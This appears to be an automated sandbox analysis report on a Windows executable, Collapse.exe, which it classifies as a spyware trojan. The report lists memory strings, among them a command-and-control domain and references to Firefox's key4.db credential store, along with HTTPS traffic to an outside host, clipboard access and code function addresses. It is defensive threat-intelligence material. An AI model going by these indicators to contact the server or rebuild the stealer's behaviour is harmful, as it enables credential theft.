Source: Collapse.exe, 00000006.00000003.1375521268.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1290803924.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1403986170.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1447252619.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374794026.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro8
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Collapse.exe, 00000006.00000003.1340228879.00000000036C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: Collapse.exe, 00000006.00000003.1688424834.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: Collapse.exe, 00000006.00000003.1318726111.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/3
Source: Collapse.exe, 00000006.00000003.1318726111.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/C
Source: Collapse.exe, 00000006.00000003.1404051312.00000000036AF000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1405760756.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1369666882.00000000036AF000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1363851025.00000000036AF000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1367340017.00000000036B0000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1290803924.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1341278669.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1339458436.00000000036A8000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1317503585.00000000036AF000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1339420217.00000000036A1000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1403631246.000000000101C000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1689342251.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1368340890.00000000036B0000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1365290632.00000000036B0000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1364336336.00000000036B0000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1339837879.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1366340370.00000000036B0000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1364005005.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1367866701.00000000036B0000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1403543943.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1365761482.00000000036B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: Collapse.exe, 00000006.00000003.1341278669.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1339458436.00000000036A8000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1339420217.00000000036A1000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1339837879.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1364005005.00000000036AC000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1363796100.00000000036AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api4
Source: Collapse.exe, 00000006.00000002.1689342251.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1447252619.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiDesk
Source: Collapse.exe, 00000006.00000003.1404184317.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1405881150.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1403986170.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1689342251.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1447252619.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apicatinT
Source: Collapse.exe, 00000006.00000003.1290803924.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apifM
Source: Collapse.exe, 00000006.00000003.1374794026.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374993674.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apifmvh
Source: Collapse.exe, 00000006.00000003.1404184317.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1405881150.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1403986170.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1689342251.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1447252619.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374794026.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374993674.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apin
Source: Collapse.exe, 00000006.00000003.1317503585.00000000036AF000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1317483559.00000000036A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apio
Source: Collapse.exe, 00000006.00000003.1290803924.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api~
Source: Collapse.exe, 00000006.00000003.1403631246.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pi
Source: Collapse.exe, 00000006.00000003.1403631246.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/ve
Source: Collapse.exe, 00000006.00000003.1374890812.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1290803924.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api
Source: Collapse.exe, 00000006.00000003.1290803924.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api%
Source: Collapse.exe, 00000006.00000002.1689170640.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688591837.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374890812.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1375045759.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1404122051.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api7wner3.default-release/key4.dbPK
Source: Collapse.exe, 00000006.00000002.1689170640.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688591837.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1404122051.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/apin.txtPK
Source: Collapse.exe, 00000006.00000002.1689170640.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688591837.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/apiocal
Source: Collapse.exe, 00000006.00000003.1341339780.00000000037CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Collapse.exe, 00000006.00000003.1341339780.00000000037CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: Collapse.exe, 00000006.00000003.1341339780.00000000037CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: Collapse.exe, 00000006.00000003.1341339780.00000000037CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: Collapse.exe, 00000006.00000003.1341339780.00000000037CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: Collapse.exe, 00000006.00000003.1341339780.00000000037CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Collapse.exe, 00000006.00000003.1341339780.00000000037CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.7:49740 version: TLS 1.2

Source: C:\Users\user\Desktop\Collapse.exe

Code function: 6_2_00433510 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

6_2_00433510

Source: C:\Users\user\Desktop\Collapse.exe

Code function: 6_2_00433510 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

6_2_00433510

Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_0098E094	0_2_0098E094
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_00981000	0_2_00981000
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_009A6102	0_2_009A6102
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_00992AA1	0_2_00992AA1
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_009A43FF	0_2_009A43FF
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_00998D90	0_2_00998D90
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_00993EA0	0_2_00993EA0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_0098E094	3_2_0098E094
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_00981000	3_2_00981000
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_009A6102	3_2_009A6102
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_00992AA1	3_2_00992AA1
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_009A43FF	3_2_009A43FF
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_00998D90	3_2_00998D90
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_00993EA0	3_2_00993EA0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0040A870	6_2_0040A870
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00422870	6_2_00422870
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004118D0	6_2_004118D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004388E0	6_2_004388E0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004089A0	6_2_004089A0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004379A2	6_2_004379A2
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00426210	6_2_00426210
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043C210	6_2_0043C210
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00440AC0	6_2_00440AC0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004104E7	6_2_004104E7
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0042C4F6	6_2_0042C4F6
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00438C90	6_2_00438C90
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0040AD20	6_2_0040AD20
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004085D0	6_2_004085D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0040D643	6_2_0040D643
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00441600	6_2_00441600
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043FF90	6_2_0043FF90
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0041A800	6_2_0041A800
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043F800	6_2_0043F800
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00441800	6_2_00441800
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0041D810	6_2_0041D810
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00426837	6_2_00426837
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004058E0	6_2_004058E0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0041F0E6	6_2_0041F0E6
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004368AC	6_2_004368AC
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0040F8B0	6_2_0040F8B0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043F8B0	6_2_0043F8B0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00406140	6_2_00406140
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00409140	6_2_00409140
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043F940	6_2_0043F940
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00403900	6_2_00403900
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0042E904	6_2_0042E904
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00427134	6_2_00427134
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004191D0	6_2_004191D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004381D0	6_2_004381D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004231E0	6_2_004231E0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043A1A9	6_2_0043A1A9
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043CA40	6_2_0043CA40
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00417A51	6_2_00417A51
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00408A70	6_2_00408A70
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00425AC9	6_2_00425AC9
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004402D0	6_2_004402D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004042B0	6_2_004042B0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0042235A	6_2_0042235A
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00439370	6_2_00439370
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00431320	6_2_00431320
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00436B24	6_2_00436B24
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00404BE0	6_2_00404BE0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004253E5	6_2_004253E5
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004233FA	6_2_004233FA
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00422390	6_2_00422390
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004073B0	6_2_004073B0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0042CBBB	6_2_0042CBBB
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043FC10	6_2_0043FC10
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00427C2A	6_2_00427C2A
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00438430	6_2_00438430
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0041A4C0	6_2_0041A4C0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00436CED	6_2_00436CED
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00421C8F	6_2_00421C8F
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0042C490	6_2_0042C490
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00415CA0	6_2_00415CA0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00437CB8	6_2_00437CB8
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0042CD4B	6_2_0042CD4B
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0042FD53	6_2_0042FD53
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00428572	6_2_00428572
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00421500	6_2_00421500
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0042CD0A	6_2_0042CD0A
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0041D520	6_2_0041D520
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00428D20	6_2_00428D20
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043F5C0	6_2_0043F5C0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004065D0	6_2_004065D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00424DF0	6_2_00424DF0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0041CD80	6_2_0041CD80
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00405DA0	6_2_00405DA0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004095A0	6_2_004095A0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00413DA0	6_2_00413DA0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00410E59	6_2_00410E59
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0041BE60	6_2_0041BE60
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00414E0D	6_2_00414E0D
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00430E2C	6_2_00430E2C
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004146D0	6_2_004146D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043F6D0	6_2_0043F6D0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004226DC	6_2_004226DC
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00402EE0	6_2_00402EE0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00408EF0	6_2_00408EF0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004396F0	6_2_004396F0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004406F0	6_2_004406F0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00425740	6_2_00425740
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0041671A	6_2_0041671A
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043D71C	6_2_0043D71C
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00422F30	6_2_00422F30
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043F5C0	6_2_0043F5C0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043EFF1	6_2_0043EFF1
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00439FF0	6_2_00439FF0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00428D20	6_2_00428D20
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_004157B0	6_2_004157B0

Source: C:\Users\user\Desktop\Collapse.exe	Code function: String function: 0099BE0D appears 40 times
Source: C:\Users\user\Desktop\Collapse.exe	Code function: String function: 009975AB appears 42 times
Source: C:\Users\user\Desktop\Collapse.exe	Code function: String function: 00413D90 appears 86 times
Source: C:\Users\user\Desktop\Collapse.exe	Code function: String function: 0098E5A0 appears 98 times
Source: C:\Users\user\Desktop\Collapse.exe	Code function: String function: 00407F40 appears 45 times

Source: Collapse.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: Collapse.exe

Static PE information: Section: .bss ZLIB complexity 1.0003249845551894

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/1@1/2

Source: C:\Users\user\Desktop\Collapse.exe

